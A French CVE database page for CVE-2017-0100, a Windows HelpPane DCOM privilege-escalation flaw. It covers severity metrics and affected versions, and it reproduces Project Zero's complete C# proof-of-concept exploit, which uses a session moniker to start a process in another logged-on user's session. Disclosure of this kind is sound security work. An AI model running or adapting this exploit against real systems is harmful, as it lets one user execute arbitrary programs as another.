CVE-2017-0100 : Détail

CVE-2017-0100

7.8
/
Haute
Authorization problems
A07-Identif. and Authent. Fail
38.59%V4
Local
2017-03-16
23h00 +00:00
2017-08-15
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

A DCOM object in Helppane.exe in Microsoft Windows 7 SP1; Windows Server 2008 R2; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows local users to gain privileges via a crafted application, aka "Windows HelpPane Elevation of Privilege Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 4.4 AV:L/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41607

Date de publication : 2017-03-14 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1021 Windows: COM Session Moniker EoP Platform: Tested on Windows 10 14393, Server 2012 R2 Class: Elevation of Privilege Summary: When activating an object using the session moniker the DCOM activator doesn’t check if the current user has permission allowing a user to start an arbitrary process in another logged on user’s session. Description: The COM session moniker allows a user to specify the interactive session that’s to be used when a DCOM object is registered with an AppID with RunAs of “Interactive User”. As switching sessions is not something a normal user can do you’d assume that this would be only accessible to administrators (or at least with Impersonate/Assign Primary Token privilege). It turns out however that there’s no such restriction, this allows one user to instantiate a DCOM object inside another user’s session on the same machine (think Terminal Server or Fast User Switching). The only restriction on the user then accessing that instantiated server is the specified Access DACL. The default Access DACL on a modern system only allows the user identity the server is running as as well as Administrators to access the created object. However there are a number of statically registered servers which allow the interactive user group (and who knows how many dynamically allowed ones through CoInitializeSecurity). I already described one these in my blog post of resurrecting dead processes, HxHelpPaneServer. With this object we can execute an arbitrary process in the context of the other user in their session. Fortunately at least it's not possible to create an object in Session 0 (as far as I can tell) as that's not an interactive session. Proof of Concept: I’ve attached a proof of concept in C#. To test PoC use the following steps. 1) Create two users on the same machine. 2) Log on to both users to ensure account setup has completed. 3) As one of the users execute the PoC, ensure it prints that it’s going to start a new process. Switch to the other user (without logging out the one running the PoC). 4) After about 20 seconds a copy of notepad should start on the other user’s desktop. Of course this could be any process including an arbitrary executable from the other user. NOTE: Make sure these user’s are not administrators, or at least are split token administrators. If they’re the Administrator user which doesn’t run by default with a filtered token then the user will not be able to access the DCOM object due to High IL and executing the process will fail. That’s not to say it’s impossible to exploit that scenario, just more difficult. Expected Result: Using a session moniker for a session outside the current one should fail if not an administrator. Actual Result: DCOM object created in the specified session an arbitrary executable run as that user. */ using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Threading; namespace PoC_SessionMoniker_EoP { class Program { [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface IHxHelpPaneServer { void DisplayTask(string task); void DisplayContents(string contents); void DisplaySearchResults(string search); void Execute([MarshalAs(UnmanagedType.LPWStr)] string file); } enum WTS_CONNECTSTATE_CLASS { WTSActive, // User logged on to WinStation WTSConnected, // WinStation connected to client WTSConnectQuery, // In the process of connecting to client WTSShadow, // Shadowing another WinStation WTSDisconnected, // WinStation logged on without client WTSIdle, // Waiting for client to connect WTSListen, // WinStation is listening for connection WTSReset, // WinStation is being reset WTSDown, // WinStation is down due to error WTSInit, // WinStation in initialization } [StructLayout(LayoutKind.Sequential)] struct WTS_SESSION_INFO { public int SessionId; public IntPtr pWinStationName; public WTS_CONNECTSTATE_CLASS State; } [DllImport("wtsapi32.dll", SetLastError = true)] static extern bool WTSEnumerateSessions( IntPtr hServer, int Reserved, int Version, out IntPtr ppSessionInfo, out int pCount); [DllImport("wtsapi32.dll", SetLastError = true)] static extern void WTSFreeMemory(IntPtr memory); public static IEnumerable<int> GetSessionIds() { List<int> sids = new List<int>(); IntPtr pSessions = IntPtr.Zero; int dwSessionCount = 0; try { if (WTSEnumerateSessions(IntPtr.Zero, 0, 1, out pSessions, out dwSessionCount)) { IntPtr current = pSessions; for (int i = 0; i < dwSessionCount; ++i) { WTS_SESSION_INFO session_info = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO)); if (session_info.State == WTS_CONNECTSTATE_CLASS.WTSActive) { if (session_info.SessionId != 0) { sids.Add(session_info.SessionId); } } current += Marshal.SizeOf(typeof(WTS_SESSION_INFO)); } } } finally { if (pSessions != IntPtr.Zero) { WTSFreeMemory(pSessions); } } return sids; } static void Main(string[] args) { try { int current_session_id = Process.GetCurrentProcess().SessionId; int new_session_id = 0; Console.WriteLine("Waiting For a Target Session"); while (true) { IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id); if (sessions.Count() > 0) { new_session_id = sessions.First(); break; } Thread.Sleep(1000); } Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id); Thread.Sleep(20000); IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe")); server.Execute(target.AbsoluteUri); } catch (Exception ex) { Console.WriteLine(ex); } } } }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Références

https://www.exploit-db.com/exploits/41607/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038001
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/96700
Tags : vdb-entry, x_refsource_BID